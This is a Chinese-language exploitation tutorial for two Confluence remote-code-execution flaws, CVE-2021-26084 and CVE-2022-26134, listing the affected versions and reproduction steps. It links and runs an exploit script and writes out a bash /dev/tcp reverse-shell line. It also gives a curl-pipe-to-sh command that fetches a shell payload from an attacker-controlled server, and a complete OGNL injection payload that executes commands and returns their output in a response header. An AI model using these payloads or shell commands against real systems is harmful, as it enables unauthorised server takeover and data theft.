序言
本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试。
1.CVE-2021-26084 Confluence OGNL 注入漏洞
1.1 漏洞描述
在某些情况下,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,通过构造恶意数据执行 OGNL 表达式进行注入攻击,实现在 Confluence Server 或 Data Center 上执行任意代码,最终控制服务器。
1.2 漏洞版本
Confluence Server & Confluence Data Center < 6.13.23 6.13.23Confluence Server & Confluence Data Center < 7.11.6 7.11.6Confluence Server & Confluence Data Center < 7.12.5 7.12.5Confluence Server & Confluence Data Center < 7.4.11 7.4.11
1.3 漏洞复现
一般情况下,confluence会在登录页直接显示当前版本,所以我们可以访问url/login.action这个页面查看版本。
漏洞利用脚本可以参考 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
后面的演示会通过这个脚本来执行,执行python CVE-2021-26084.py -u url
,如果漏洞存在就可以执行命令了。我们尝试一下whoami
可以看到漏洞就被成功执行了,至此这个漏洞的基本复现就完成了, 接下来我们来尝试提权。
1.4
一般情况下 我们可以直接通过反弹shell的方式来获取主机权限
bash -i >& /dev/tcp/ip/port 0>&1
但是confluence的命令执行 部分字符会被url转义,所以直接在控制台反弹shell会直接报错
我们可以通过远程执行文件内容的方式来反弹shell
curl url/shell.txt |sh
其中,shell.txt为自己服务器上的一个文件,内容就是上文中的反弹时shell,直接执行这个操作,就能正常的反弹shell了。
2.CVE-2022-26134
2.1 漏洞描述
远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。
2.2 漏洞版本
Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1
2.3 漏洞复现
构造请求
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
其中exec中的内容为需要执行的命令,结果会返回在header的X-Cmd-Response中
至此漏洞利用成功